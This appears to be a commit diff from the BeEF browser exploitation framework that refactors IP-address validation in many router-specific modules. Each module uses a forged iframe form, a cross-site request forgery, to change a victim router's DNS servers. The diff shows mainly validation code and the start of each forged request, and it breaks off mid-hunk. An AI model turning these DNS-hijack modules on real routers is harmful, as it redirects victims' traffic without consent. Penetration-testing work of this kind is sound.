Use beef.net.is_valid_ip
This commit is contained in:
@@ -12,33 +12,17 @@ beef.execute(function() {
|
||||
var dns2 = '<%= @dns2 %>';
|
||||
var timeout = 15;
|
||||
|
||||
// validate primary DNS server IP address
|
||||
var parts = dns1.split('.');
|
||||
if (parts.length != 4) {
|
||||
// validate DNS server IP addresses
|
||||
if (!beef.net.is_valid_ip(dns1)) {
|
||||
beef.debug('Invalid Primary DNS server IP address was provided');
|
||||
beef.net.send("<%= @command_url %>", <%= @command_id %>, "result=an invalid Primary DNS server IP address was provided");
|
||||
return;
|
||||
}
|
||||
for (var i=0; i<parts.length; i++) {
|
||||
var part = parts[i];
|
||||
if (isNaN(part) || part < 0 || part > 255) {
|
||||
beef.net.send("<%= @command_url %>", <%= @command_id %>, "result=an invalid Primary DNS server IP address was provided");
|
||||
return;
|
||||
}
|
||||
}
|
||||
|
||||
// validate secondary DNS server IP address
|
||||
var parts = dns2.split('.');
|
||||
if (parts.length != 4) {
|
||||
if (!beef.net.is_valid_ip(dns2)) {
|
||||
beef.debug('Invalid Secondary DNS server IP address was provided');
|
||||
beef.net.send("<%= @command_url %>", <%= @command_id %>, "result=an invalid Secondary DNS server IP address was provided");
|
||||
return;
|
||||
}
|
||||
for (var i=0; i<parts.length; i++) {
|
||||
var part = parts[i];
|
||||
if (isNaN(part) || part < 0 || part > 255) {
|
||||
beef.net.send("<%= @command_url %>", <%= @command_id %>, "result=an invalid Secondary DNS server IP address was provided");
|
||||
return;
|
||||
}
|
||||
}
|
||||
|
||||
// change DNS
|
||||
var argw4_adsl_iframe_<%= @command_id %> = beef.dom.createIframeXsrfForm(target, "POST", "application/x-www-form-urlencoded", [
|
||||
|
||||
@@ -12,33 +12,17 @@ beef.execute(function() {
|
||||
var dns2 = '<%= @dns2 %>';
|
||||
var timeout = 15;
|
||||
|
||||
// validate primary DNS server IP address
|
||||
var parts = dns1.split('.');
|
||||
if (parts.length != 4) {
|
||||
// validate DNS server IP addresses
|
||||
if (!beef.net.is_valid_ip(dns1)) {
|
||||
beef.debug('Invalid Primary DNS server IP address was provided');
|
||||
beef.net.send("<%= @command_url %>", <%= @command_id %>, "result=an invalid Primary DNS server IP address was provided");
|
||||
return;
|
||||
}
|
||||
for (var i=0; i<parts.length; i++) {
|
||||
var part = parts[i];
|
||||
if (isNaN(part) || part < 0 || part > 255) {
|
||||
beef.net.send("<%= @command_url %>", <%= @command_id %>, "result=an invalid Primary DNS server IP address was provided");
|
||||
return;
|
||||
}
|
||||
}
|
||||
|
||||
// validate secondary DNS server IP address
|
||||
var parts = dns2.split('.');
|
||||
if (parts.length != 4) {
|
||||
if (!beef.net.is_valid_ip(dns2)) {
|
||||
beef.debug('Invalid Secondary DNS server IP address was provided');
|
||||
beef.net.send("<%= @command_url %>", <%= @command_id %>, "result=an invalid Secondary DNS server IP address was provided");
|
||||
return;
|
||||
}
|
||||
for (var i=0; i<parts.length; i++) {
|
||||
var part = parts[i];
|
||||
if (isNaN(part) || part < 0 || part > 255) {
|
||||
beef.net.send("<%= @command_url %>", <%= @command_id %>, "result=an invalid Secondary DNS server IP address was provided");
|
||||
return;
|
||||
}
|
||||
}
|
||||
|
||||
// change DNS
|
||||
var asus_dslx11_iframe_<%= @command_id %> = beef.dom.createIframeXsrfForm(target, "GET", "application/x-www-form-urlencoded", [
|
||||
|
||||
@@ -12,33 +12,17 @@ beef.execute(function() {
|
||||
var dns2 = '<%= @dns2 %>';
|
||||
var timeout = 15;
|
||||
|
||||
// validate primary DNS server IP address
|
||||
var parts = dns1.split('.');
|
||||
if (parts.length != 4) {
|
||||
// validate DNS server IP addresses
|
||||
if (!beef.net.is_valid_ip(dns1)) {
|
||||
beef.debug('Invalid Primary DNS server IP address was provided');
|
||||
beef.net.send("<%= @command_url %>", <%= @command_id %>, "result=an invalid Primary DNS server IP address was provided");
|
||||
return;
|
||||
}
|
||||
for (var i=0; i<parts.length; i++) {
|
||||
var part = parts[i];
|
||||
if (isNaN(part) || part < 0 || part > 255) {
|
||||
beef.net.send("<%= @command_url %>", <%= @command_id %>, "result=an invalid Primary DNS server IP address was provided");
|
||||
return;
|
||||
}
|
||||
}
|
||||
|
||||
// validate secondary DNS server IP address
|
||||
var parts = dns2.split('.');
|
||||
if (parts.length != 4) {
|
||||
if (!beef.net.is_valid_ip(dns2)) {
|
||||
beef.debug('Invalid Secondary DNS server IP address was provided');
|
||||
beef.net.send("<%= @command_url %>", <%= @command_id %>, "result=an invalid Secondary DNS server IP address was provided");
|
||||
return;
|
||||
}
|
||||
for (var i=0; i<parts.length; i++) {
|
||||
var part = parts[i];
|
||||
if (isNaN(part) || part < 0 || part > 255) {
|
||||
beef.net.send("<%= @command_url %>", <%= @command_id %>, "result=an invalid Secondary DNS server IP address was provided");
|
||||
return;
|
||||
}
|
||||
}
|
||||
|
||||
// change DNS
|
||||
var beetel_bcm96338_iframe_<%= @command_id %> = beef.dom.createIframeXsrfForm(target, "GET", "application/x-www-form-urlencoded", [
|
||||
|
||||
@@ -14,37 +14,24 @@ beef.execute(function() {
|
||||
var timeout = 15;
|
||||
|
||||
// validate primary DNS server IP address
|
||||
var parts = dns1.split('.');
|
||||
if (parts.length != 4) {
|
||||
if (!beef.net.is_valid_ip(dns1)) {
|
||||
beef.debug('Invalid Primary DNS server IP address was provided');
|
||||
beef.net.send("<%= @command_url %>", <%= @command_id %>, "result=an invalid Primary DNS server IP address was provided");
|
||||
return;
|
||||
}
|
||||
for (var i=0; i<parts.length; i++) {
|
||||
var part = parts[i];
|
||||
if (isNaN(part) || part < 0 || part > 255) {
|
||||
beef.net.send("<%= @command_url %>", <%= @command_id %>, "result=an invalid Primary DNS server IP address was provided");
|
||||
return;
|
||||
}
|
||||
}
|
||||
var parts = dns1.split('.');
|
||||
var dns1_1 = parts[0];
|
||||
var dns1_2 = parts[1];
|
||||
var dns1_3 = parts[2];
|
||||
var dns1_4 = parts[3];
|
||||
|
||||
// validate secondary DNS server IP address
|
||||
var parts = dns2.split('.');
|
||||
if (parts.length != 4) {
|
||||
if (!beef.net.is_valid_ip(dns2)) {
|
||||
beef.debug('Invalid Secondary DNS server IP address was provided');
|
||||
beef.net.send("<%= @command_url %>", <%= @command_id %>, "result=an invalid Secondary DNS server IP address was provided");
|
||||
return;
|
||||
}
|
||||
for (var i=0; i<parts.length; i++) {
|
||||
var part = parts[i];
|
||||
if (isNaN(part) || part < 0 || part > 255) {
|
||||
beef.net.send("<%= @command_url %>", <%= @command_id %>, "result=an invalid Secondary DNS server IP address was provided");
|
||||
return;
|
||||
}
|
||||
|
||||
}
|
||||
var parts = dns2.split('.');
|
||||
var dns2_1 = parts[0];
|
||||
var dns2_2 = parts[1];
|
||||
var dns2_3 = parts[2];
|
||||
|
||||
@@ -12,33 +12,17 @@ beef.execute(function() {
|
||||
var dns2 = '<%= @dns2 %>';
|
||||
var timeout = 15;
|
||||
|
||||
// validate primary DNS server IP address
|
||||
var parts = dns1.split('.');
|
||||
if (parts.length != 4) {
|
||||
// validate DNS server IP addresses
|
||||
if (!beef.net.is_valid_ip(dns1)) {
|
||||
beef.debug('Invalid Primary DNS server IP address was provided');
|
||||
beef.net.send("<%= @command_url %>", <%= @command_id %>, "result=an invalid Primary DNS server IP address was provided");
|
||||
return;
|
||||
}
|
||||
for (var i=0; i<parts.length; i++) {
|
||||
var part = parts[i];
|
||||
if (isNaN(part) || part < 0 || part > 255) {
|
||||
beef.net.send("<%= @command_url %>", <%= @command_id %>, "result=an invalid Primary DNS server IP address was provided");
|
||||
return;
|
||||
}
|
||||
}
|
||||
|
||||
// validate secondary DNS server IP address
|
||||
var parts = dns2.split('.');
|
||||
if (parts.length != 4) {
|
||||
if (!beef.net.is_valid_ip(dns2)) {
|
||||
beef.debug('Invalid Secondary DNS server IP address was provided');
|
||||
beef.net.send("<%= @command_url %>", <%= @command_id %>, "result=an invalid Secondary DNS server IP address was provided");
|
||||
return;
|
||||
}
|
||||
for (var i=0; i<parts.length; i++) {
|
||||
var part = parts[i];
|
||||
if (isNaN(part) || part < 0 || part > 255) {
|
||||
beef.net.send("<%= @command_url %>", <%= @command_id %>, "result=an invalid Secondary DNS server IP address was provided");
|
||||
return;
|
||||
}
|
||||
}
|
||||
|
||||
// change DNS
|
||||
var comtrend_ct_series_iframe_<%= @command_id %> = beef.dom.createIframeXsrfForm(target, "GET", "application/x-www-form-urlencoded", [
|
||||
|
||||
@@ -12,33 +12,17 @@ beef.execute(function() {
|
||||
var dns2 = '<%= @dns2 %>';
|
||||
var timeout = 15;
|
||||
|
||||
// validate primary DNS server IP address
|
||||
var parts = dns1.split('.');
|
||||
if (parts.length != 4) {
|
||||
// validate DNS server IP addresses
|
||||
if (!beef.net.is_valid_ip(dns1)) {
|
||||
beef.debug('Invalid Primary DNS server IP address was provided');
|
||||
beef.net.send("<%= @command_url %>", <%= @command_id %>, "result=an invalid Primary DNS server IP address was provided");
|
||||
return;
|
||||
}
|
||||
for (var i=0; i<parts.length; i++) {
|
||||
var part = parts[i];
|
||||
if (isNaN(part) || part < 0 || part > 255) {
|
||||
beef.net.send("<%= @command_url %>", <%= @command_id %>, "result=an invalid Primary DNS server IP address was provided");
|
||||
return;
|
||||
}
|
||||
}
|
||||
|
||||
// validate secondary DNS server IP address
|
||||
var parts = dns2.split('.');
|
||||
if (parts.length != 4) {
|
||||
if (!beef.net.is_valid_ip(dns2)) {
|
||||
beef.debug('Invalid Secondary DNS server IP address was provided');
|
||||
beef.net.send("<%= @command_url %>", <%= @command_id %>, "result=an invalid Secondary DNS server IP address was provided");
|
||||
return;
|
||||
}
|
||||
for (var i=0; i<parts.length; i++) {
|
||||
var part = parts[i];
|
||||
if (isNaN(part) || part < 0 || part > 255) {
|
||||
beef.net.send("<%= @command_url %>", <%= @command_id %>, "result=an invalid Secondary DNS server IP address was provided");
|
||||
return;
|
||||
}
|
||||
}
|
||||
|
||||
// change DNS
|
||||
var dlink_2640b_iframe_<%= @command_id %> = beef.dom.createIframeXsrfForm(target, "GET", "application/x-www-form-urlencoded", [
|
||||
|
||||
@@ -12,33 +12,17 @@ beef.execute(function() {
|
||||
var dns2 = '<%= @dns2 %>';
|
||||
var timeout = 15;
|
||||
|
||||
// validate primary DNS server IP address
|
||||
var parts = dns1.split('.');
|
||||
if (parts.length != 4) {
|
||||
// validate DNS server IP addresses
|
||||
if (!beef.net.is_valid_ip(dns1)) {
|
||||
beef.debug('Invalid Primary DNS server IP address was provided');
|
||||
beef.net.send("<%= @command_url %>", <%= @command_id %>, "result=an invalid Primary DNS server IP address was provided");
|
||||
return;
|
||||
}
|
||||
for (var i=0; i<parts.length; i++) {
|
||||
var part = parts[i];
|
||||
if (isNaN(part) || part < 0 || part > 255) {
|
||||
beef.net.send("<%= @command_url %>", <%= @command_id %>, "result=an invalid Primary DNS server IP address was provided");
|
||||
return;
|
||||
}
|
||||
}
|
||||
|
||||
// validate secondary DNS server IP address
|
||||
var parts = dns2.split('.');
|
||||
if (parts.length != 4) {
|
||||
if (!beef.net.is_valid_ip(dns2)) {
|
||||
beef.debug('Invalid Secondary DNS server IP address was provided');
|
||||
beef.net.send("<%= @command_url %>", <%= @command_id %>, "result=an invalid Secondary DNS server IP address was provided");
|
||||
return;
|
||||
}
|
||||
for (var i=0; i<parts.length; i++) {
|
||||
var part = parts[i];
|
||||
if (isNaN(part) || part < 0 || part > 255) {
|
||||
beef.net.send("<%= @command_url %>", <%= @command_id %>, "result=an invalid Secondary DNS server IP address was provided");
|
||||
return;
|
||||
}
|
||||
}
|
||||
|
||||
// change DNS
|
||||
var dlink_dsl2640u_adsl_iframe_<%= @command_id %> = beef.dom.createIframeXsrfForm(target, "GET", "application/x-www-form-urlencoded", [
|
||||
|
||||
@@ -12,33 +12,17 @@ beef.execute(function() {
|
||||
var dns2 = '<%= @dns2 %>';
|
||||
var timeout = 15;
|
||||
|
||||
// validate primary DNS server IP address
|
||||
var parts = dns1.split('.');
|
||||
if (parts.length != 4) {
|
||||
// validate DNS server IP addresses
|
||||
if (!beef.net.is_valid_ip(dns1)) {
|
||||
beef.debug('Invalid Primary DNS server IP address was provided');
|
||||
beef.net.send("<%= @command_url %>", <%= @command_id %>, "result=an invalid Primary DNS server IP address was provided");
|
||||
return;
|
||||
}
|
||||
for (var i=0; i<parts.length; i++) {
|
||||
var part = parts[i];
|
||||
if (isNaN(part) || part < 0 || part > 255) {
|
||||
beef.net.send("<%= @command_url %>", <%= @command_id %>, "result=an invalid Primary DNS server IP address was provided");
|
||||
return;
|
||||
}
|
||||
}
|
||||
|
||||
// validate secondary DNS server IP address
|
||||
var parts = dns2.split('.');
|
||||
if (parts.length != 4) {
|
||||
if (!beef.net.is_valid_ip(dns2)) {
|
||||
beef.debug('Invalid Secondary DNS server IP address was provided');
|
||||
beef.net.send("<%= @command_url %>", <%= @command_id %>, "result=an invalid Secondary DNS server IP address was provided");
|
||||
return;
|
||||
}
|
||||
for (var i=0; i<parts.length; i++) {
|
||||
var part = parts[i];
|
||||
if (isNaN(part) || part < 0 || part > 255) {
|
||||
beef.net.send("<%= @command_url %>", <%= @command_id %>, "result=an invalid Secondary DNS server IP address was provided");
|
||||
return;
|
||||
}
|
||||
}
|
||||
|
||||
// change DNS
|
||||
var dlink_dsl2740r_iframe_<%= @command_id %> = beef.dom.createIframeXsrfForm(target, "GET", "application/x-www-form-urlencoded", [
|
||||
|
||||
@@ -12,33 +12,17 @@ beef.execute(function() {
|
||||
var dns2 = '<%= @dns2 %>';
|
||||
var timeout = 15;
|
||||
|
||||
// validate primary DNS server IP address
|
||||
var parts = dns1.split('.');
|
||||
if (parts.length != 4) {
|
||||
// validate DNS server IP addresses
|
||||
if (!beef.net.is_valid_ip(dns1)) {
|
||||
beef.debug('Invalid Primary DNS server IP address was provided');
|
||||
beef.net.send("<%= @command_url %>", <%= @command_id %>, "result=an invalid Primary DNS server IP address was provided");
|
||||
return;
|
||||
}
|
||||
for (var i=0; i<parts.length; i++) {
|
||||
var part = parts[i];
|
||||
if (isNaN(part) || part < 0 || part > 255) {
|
||||
beef.net.send("<%= @command_url %>", <%= @command_id %>, "result=an invalid Primary DNS server IP address was provided");
|
||||
return;
|
||||
}
|
||||
}
|
||||
|
||||
// validate secondary DNS server IP address
|
||||
var parts = dns2.split('.');
|
||||
if (parts.length != 4) {
|
||||
if (!beef.net.is_valid_ip(dns2)) {
|
||||
beef.debug('Invalid Secondary DNS server IP address was provided');
|
||||
beef.net.send("<%= @command_url %>", <%= @command_id %>, "result=an invalid Secondary DNS server IP address was provided");
|
||||
return;
|
||||
}
|
||||
for (var i=0; i<parts.length; i++) {
|
||||
var part = parts[i];
|
||||
if (isNaN(part) || part < 0 || part > 255) {
|
||||
beef.net.send("<%= @command_url %>", <%= @command_id %>, "result=an invalid Secondary DNS server IP address was provided");
|
||||
return;
|
||||
}
|
||||
}
|
||||
|
||||
// change DNS
|
||||
var dlink_dsl2780b_adsl_iframe_<%= @command_id %> = beef.dom.createIframeXsrfForm(target, "GET", "application/x-www-form-urlencoded", [
|
||||
|
||||
@@ -12,33 +12,17 @@ beef.execute(function() {
|
||||
var dns2 = '<%= @dns2 %>';
|
||||
var timeout = 15;
|
||||
|
||||
// validate primary DNS server IP address
|
||||
var parts = dns1.split('.');
|
||||
if (parts.length != 4) {
|
||||
// validate DNS server IP addresses
|
||||
if (!beef.net.is_valid_ip(dns1)) {
|
||||
beef.debug('Invalid Primary DNS server IP address was provided');
|
||||
beef.net.send("<%= @command_url %>", <%= @command_id %>, "result=an invalid Primary DNS server IP address was provided");
|
||||
return;
|
||||
}
|
||||
for (var i=0; i<parts.length; i++) {
|
||||
var part = parts[i];
|
||||
if (isNaN(part) || part < 0 || part > 255) {
|
||||
beef.net.send("<%= @command_url %>", <%= @command_id %>, "result=an invalid Primary DNS server IP address was provided");
|
||||
return;
|
||||
}
|
||||
}
|
||||
|
||||
// validate secondary DNS server IP address
|
||||
var parts = dns2.split('.');
|
||||
if (parts.length != 4) {
|
||||
if (!beef.net.is_valid_ip(dns2)) {
|
||||
beef.debug('Invalid Secondary DNS server IP address was provided');
|
||||
beef.net.send("<%= @command_url %>", <%= @command_id %>, "result=an invalid Secondary DNS server IP address was provided");
|
||||
return;
|
||||
}
|
||||
for (var i=0; i<parts.length; i++) {
|
||||
var part = parts[i];
|
||||
if (isNaN(part) || part < 0 || part > 255) {
|
||||
beef.net.send("<%= @command_url %>", <%= @command_id %>, "result=an invalid Secondary DNS server IP address was provided");
|
||||
return;
|
||||
}
|
||||
}
|
||||
|
||||
// change DNS
|
||||
var dlink_dsl526b_iframe_<%= @command_id %> = beef.dom.createIframeXsrfForm(target, "GET", "application/x-www-form-urlencoded", [
|
||||
|
||||
@@ -12,33 +12,17 @@ beef.execute(function() {
|
||||
var dns2 = '<%= @dns2 %>';
|
||||
var timeout = 15;
|
||||
|
||||
// validate primary DNS server IP address
|
||||
var parts = dns1.split('.');
|
||||
if (parts.length != 4) {
|
||||
// validate DNS server IP addresses
|
||||
if (!beef.net.is_valid_ip(dns1)) {
|
||||
beef.debug('Invalid Primary DNS server IP address was provided');
|
||||
beef.net.send("<%= @command_url %>", <%= @command_id %>, "result=an invalid Primary DNS server IP address was provided");
|
||||
return;
|
||||
}
|
||||
for (var i=0; i<parts.length; i++) {
|
||||
var part = parts[i];
|
||||
if (isNaN(part) || part < 0 || part > 255) {
|
||||
beef.net.send("<%= @command_url %>", <%= @command_id %>, "result=an invalid Primary DNS server IP address was provided");
|
||||
return;
|
||||
}
|
||||
}
|
||||
|
||||
// validate secondary DNS server IP address
|
||||
var parts = dns2.split('.');
|
||||
if (parts.length != 4) {
|
||||
if (!beef.net.is_valid_ip(dns2)) {
|
||||
beef.debug('Invalid Secondary DNS server IP address was provided');
|
||||
beef.net.send("<%= @command_url %>", <%= @command_id %>, "result=an invalid Secondary DNS server IP address was provided");
|
||||
return;
|
||||
}
|
||||
for (var i=0; i<parts.length; i++) {
|
||||
var part = parts[i];
|
||||
if (isNaN(part) || part < 0 || part > 255) {
|
||||
beef.net.send("<%= @command_url %>", <%= @command_id %>, "result=an invalid Secondary DNS server IP address was provided");
|
||||
return;
|
||||
}
|
||||
}
|
||||
|
||||
// change DNS
|
||||
var exper_ewm01_iframe_<%= @command_id %> = beef.dom.createIframeXsrfForm(target, "GET", "application/x-www-form-urlencoded", [
|
||||
|
||||
@@ -12,33 +12,17 @@ beef.execute(function() {
|
||||
var dns2 = '<%= @dns2 %>';
|
||||
var timeout = 15;
|
||||
|
||||
// validate primary DNS server IP address
|
||||
var parts = dns1.split('.');
|
||||
if (parts.length != 4) {
|
||||
// validate DNS server IP addresses
|
||||
if (!beef.net.is_valid_ip(dns1)) {
|
||||
beef.debug('Invalid Primary DNS server IP address was provided');
|
||||
beef.net.send("<%= @command_url %>", <%= @command_id %>, "result=an invalid Primary DNS server IP address was provided");
|
||||
return;
|
||||
}
|
||||
for (var i=0; i<parts.length; i++) {
|
||||
var part = parts[i];
|
||||
if (isNaN(part) || part < 0 || part > 255) {
|
||||
beef.net.send("<%= @command_url %>", <%= @command_id %>, "result=an invalid Primary DNS server IP address was provided");
|
||||
return;
|
||||
}
|
||||
}
|
||||
|
||||
// validate secondary DNS server IP address
|
||||
var parts = dns2.split('.');
|
||||
if (parts.length != 4) {
|
||||
if (!beef.net.is_valid_ip(dns2)) {
|
||||
beef.debug('Invalid Secondary DNS server IP address was provided');
|
||||
beef.net.send("<%= @command_url %>", <%= @command_id %>, "result=an invalid Secondary DNS server IP address was provided");
|
||||
return;
|
||||
}
|
||||
for (var i=0; i<parts.length; i++) {
|
||||
var part = parts[i];
|
||||
if (isNaN(part) || part < 0 || part > 255) {
|
||||
beef.net.send("<%= @command_url %>", <%= @command_id %>, "result=an invalid Secondary DNS server IP address was provided");
|
||||
return;
|
||||
}
|
||||
}
|
||||
|
||||
// change DNS
|
||||
var iball_baton_ib_wra150n_iframe_<%= @command_id %> = beef.dom.createIframeXsrfForm(target, "GET", "application/x-www-form-urlencoded", [
|
||||
|
||||
@@ -12,33 +12,17 @@ beef.execute(function() {
|
||||
var dns2 = '<%= @dns2 %>';
|
||||
var timeout = 15;
|
||||
|
||||
// validate primary DNS server IP address
|
||||
var parts = dns1.split('.');
|
||||
if (parts.length != 4) {
|
||||
// validate DNS server IP addresses
|
||||
if (!beef.net.is_valid_ip(dns1)) {
|
||||
beef.debug('Invalid Primary DNS server IP address was provided');
|
||||
beef.net.send("<%= @command_url %>", <%= @command_id %>, "result=an invalid Primary DNS server IP address was provided");
|
||||
return;
|
||||
}
|
||||
for (var i=0; i<parts.length; i++) {
|
||||
var part = parts[i];
|
||||
if (isNaN(part) || part < 0 || part > 255) {
|
||||
beef.net.send("<%= @command_url %>", <%= @command_id %>, "result=an invalid Primary DNS server IP address was provided");
|
||||
return;
|
||||
}
|
||||
}
|
||||
|
||||
// validate secondary DNS server IP address
|
||||
var parts = dns2.split('.');
|
||||
if (parts.length != 4) {
|
||||
if (!beef.net.is_valid_ip(dns2)) {
|
||||
beef.debug('Invalid Secondary DNS server IP address was provided');
|
||||
beef.net.send("<%= @command_url %>", <%= @command_id %>, "result=an invalid Secondary DNS server IP address was provided");
|
||||
return;
|
||||
}
|
||||
for (var i=0; i<parts.length; i++) {
|
||||
var part = parts[i];
|
||||
if (isNaN(part) || part < 0 || part > 255) {
|
||||
beef.net.send("<%= @command_url %>", <%= @command_id %>, "result=an invalid Secondary DNS server IP address was provided");
|
||||
return;
|
||||
}
|
||||
}
|
||||
|
||||
// change DNS
|
||||
var inteno_eg101r1_voip_iframe_<%= @command_id %> = beef.dom.createIframeXsrfForm(target, "GET", "application/x-www-form-urlencoded", [
|
||||
|
||||
@@ -12,19 +12,13 @@ beef.execute(function() {
|
||||
var timeout = 15;
|
||||
|
||||
// validate primary DNS server IP address
|
||||
var parts = dns1.split('.');
|
||||
if (parts.length != 4) {
|
||||
if (!beef.net.is_valid_ip(dns1)) {
|
||||
beef.debug('Invalid Primary DNS server IP address was provided');
|
||||
beef.net.send("<%= @command_url %>", <%= @command_id %>, "result=an invalid Primary DNS server IP address was provided");
|
||||
return;
|
||||
}
|
||||
for (var i=0; i<parts.length; i++) {
|
||||
var part = parts[i];
|
||||
if (isNaN(part) || part < 0 || part > 255) {
|
||||
beef.net.send("<%= @command_url %>", <%= @command_id %>, "result=an invalid Primary DNS server IP address was provided");
|
||||
return;
|
||||
}
|
||||
}
|
||||
|
||||
var parts = dns1.split('.');
|
||||
|
||||
// change DNS
|
||||
var linksys_e2500_iframe_<%= @command_id %> = beef.dom.createIframeXsrfForm(target, "POST", "application/x-www-form-urlencoded", [
|
||||
{'type':'hidden', 'name':'submit_button', 'value': 'index'},
|
||||
|
||||
@@ -13,36 +13,24 @@ beef.execute(function() {
|
||||
var timeout = 15;
|
||||
|
||||
// validate primary DNS server IP address
|
||||
var parts = dns1.split('.');
|
||||
if (parts.length != 4) {
|
||||
if (!beef.net.is_valid_ip(dns1)) {
|
||||
beef.debug('Invalid Primary DNS server IP address was provided');
|
||||
beef.net.send("<%= @command_url %>", <%= @command_id %>, "result=an invalid Primary DNS server IP address was provided");
|
||||
return;
|
||||
}
|
||||
for (var i=0; i<parts.length; i++) {
|
||||
var part = parts[i];
|
||||
if (isNaN(part) || part < 0 || part > 255) {
|
||||
beef.net.send("<%= @command_url %>", <%= @command_id %>, "result=an invalid Primary DNS server IP address was provided");
|
||||
return;
|
||||
}
|
||||
}
|
||||
var parts = dns1.split('.');
|
||||
var dns1_1 = parts[0];
|
||||
var dns1_2 = parts[1];
|
||||
var dns1_3 = parts[2];
|
||||
var dns1_4 = parts[3];
|
||||
|
||||
// validate secondary DNS server IP address
|
||||
var parts = dns2.split('.');
|
||||
if (parts.length != 4) {
|
||||
if (!beef.net.is_valid_ip(dns2)) {
|
||||
beef.debug('Invalid Secondary DNS server IP address was provided');
|
||||
beef.net.send("<%= @command_url %>", <%= @command_id %>, "result=an invalid Secondary DNS server IP address was provided");
|
||||
return;
|
||||
}
|
||||
for (var i=0; i<parts.length; i++) {
|
||||
var part = parts[i];
|
||||
if (isNaN(part) || part < 0 || part > 255) {
|
||||
beef.net.send("<%= @command_url %>", <%= @command_id %>, "result=an invalid Secondary DNS server IP address was provided");
|
||||
return;
|
||||
}
|
||||
}
|
||||
var parts = dns2.split('.');
|
||||
var dns2_1 = parts[0];
|
||||
var dns2_2 = parts[1];
|
||||
var dns2_3 = parts[2];
|
||||
|
||||
@@ -12,33 +12,17 @@ beef.execute(function() {
|
||||
var dns2 = '<%= @dns2 %>';
|
||||
var timeout = 15;
|
||||
|
||||
// validate primary DNS server IP address
|
||||
var parts = dns1.split('.');
|
||||
if (parts.length != 4) {
|
||||
// validate DNS server IP addresses
|
||||
if (!beef.net.is_valid_ip(dns1)) {
|
||||
beef.debug('Invalid Primary DNS server IP address was provided');
|
||||
beef.net.send("<%= @command_url %>", <%= @command_id %>, "result=an invalid Primary DNS server IP address was provided");
|
||||
return;
|
||||
}
|
||||
for (var i=0; i<parts.length; i++) {
|
||||
var part = parts[i];
|
||||
if (isNaN(part) || part < 0 || part > 255) {
|
||||
beef.net.send("<%= @command_url %>", <%= @command_id %>, "result=an invalid Primary DNS server IP address was provided");
|
||||
return;
|
||||
}
|
||||
}
|
||||
|
||||
// validate secondary DNS server IP address
|
||||
var parts = dns2.split('.');
|
||||
if (parts.length != 4) {
|
||||
if (!beef.net.is_valid_ip(dns2)) {
|
||||
beef.debug('Invalid Secondary DNS server IP address was provided');
|
||||
beef.net.send("<%= @command_url %>", <%= @command_id %>, "result=an invalid Secondary DNS server IP address was provided");
|
||||
return;
|
||||
}
|
||||
for (var i=0; i<parts.length; i++) {
|
||||
var part = parts[i];
|
||||
if (isNaN(part) || part < 0 || part > 255) {
|
||||
beef.net.send("<%= @command_url %>", <%= @command_id %>, "result=an invalid Secondary DNS server IP address was provided");
|
||||
return;
|
||||
}
|
||||
}
|
||||
|
||||
// change DNS
|
||||
var pikatel_96338_iframe_<%= @command_id %> = beef.dom.createIframeXsrfForm(target, "GET", "application/x-www-form-urlencoded", [
|
||||
|
||||
@@ -12,33 +12,17 @@ beef.execute(function() {
|
||||
var dns2 = '<%= @dns2 %>';
|
||||
var timeout = 15;
|
||||
|
||||
// validate primary DNS server IP address
|
||||
var parts = dns1.split('.');
|
||||
if (parts.length != 4) {
|
||||
// validate DNS server IP addresses
|
||||
if (!beef.net.is_valid_ip(dns1)) {
|
||||
beef.debug('Invalid Primary DNS server IP address was provided');
|
||||
beef.net.send("<%= @command_url %>", <%= @command_id %>, "result=an invalid Primary DNS server IP address was provided");
|
||||
return;
|
||||
}
|
||||
for (var i=0; i<parts.length; i++) {
|
||||
var part = parts[i];
|
||||
if (isNaN(part) || part < 0 || part > 255) {
|
||||
beef.net.send("<%= @command_url %>", <%= @command_id %>, "result=an invalid Primary DNS server IP address was provided");
|
||||
return;
|
||||
}
|
||||
}
|
||||
|
||||
// validate secondary DNS server IP address
|
||||
var parts = dns2.split('.');
|
||||
if (parts.length != 4) {
|
||||
if (!beef.net.is_valid_ip(dns2)) {
|
||||
beef.debug('Invalid Secondary DNS server IP address was provided');
|
||||
beef.net.send("<%= @command_url %>", <%= @command_id %>, "result=an invalid Secondary DNS server IP address was provided");
|
||||
return;
|
||||
}
|
||||
for (var i=0; i<parts.length; i++) {
|
||||
var part = parts[i];
|
||||
if (isNaN(part) || part < 0 || part > 255) {
|
||||
beef.net.send("<%= @command_url %>", <%= @command_id %>, "result=an invalid Secondary DNS server IP address was provided");
|
||||
return;
|
||||
}
|
||||
}
|
||||
|
||||
// change DNS
|
||||
var planet_vdr300nu_adsl_iframe_<%= @command_id %> = beef.dom.createIframeXsrfForm(target, "GET", "application/x-www-form-urlencoded", [
|
||||
|
||||
@@ -12,33 +12,17 @@ beef.execute(function() {
|
||||
var dns2 = '<%= @dns2 %>';
|
||||
var timeout = 15;
|
||||
|
||||
// validate primary DNS server IP address
|
||||
var parts = dns1.split('.');
|
||||
if (parts.length != 4) {
|
||||
// validate DNS server IP addresses
|
||||
if (!beef.net.is_valid_ip(dns1)) {
|
||||
beef.debug('Invalid Primary DNS server IP address was provided');
|
||||
beef.net.send("<%= @command_url %>", <%= @command_id %>, "result=an invalid Primary DNS server IP address was provided");
|
||||
return;
|
||||
}
|
||||
for (var i=0; i<parts.length; i++) {
|
||||
var part = parts[i];
|
||||
if (isNaN(part) || part < 0 || part > 255) {
|
||||
beef.net.send("<%= @command_url %>", <%= @command_id %>, "result=an invalid Primary DNS server IP address was provided");
|
||||
return;
|
||||
}
|
||||
}
|
||||
|
||||
// validate secondary DNS server IP address
|
||||
var parts = dns2.split('.');
|
||||
if (parts.length != 4) {
|
||||
if (!beef.net.is_valid_ip(dns2)) {
|
||||
beef.debug('Invalid Secondary DNS server IP address was provided');
|
||||
beef.net.send("<%= @command_url %>", <%= @command_id %>, "result=an invalid Secondary DNS server IP address was provided");
|
||||
return;
|
||||
}
|
||||
for (var i=0; i<parts.length; i++) {
|
||||
var part = parts[i];
|
||||
if (isNaN(part) || part < 0 || part > 255) {
|
||||
beef.net.send("<%= @command_url %>", <%= @command_id %>, "result=an invalid Secondary DNS server IP address was provided");
|
||||
return;
|
||||
}
|
||||
}
|
||||
|
||||
// change DNS
|
||||
var shuttle_tech_iframe_<%= @command_id %> = beef.dom.createIframeXsrfForm(target, "GET", "application/x-www-form-urlencoded", [
|
||||
|
||||
@@ -12,33 +12,17 @@ beef.execute(function() {
|
||||
var dns2 = '<%= @dns2 %>';
|
||||
var timeout = 15;
|
||||
|
||||
// validate primary DNS server IP address
|
||||
var parts = dns1.split('.');
|
||||
if (parts.length != 4) {
|
||||
// validate DNS server IP addresses
|
||||
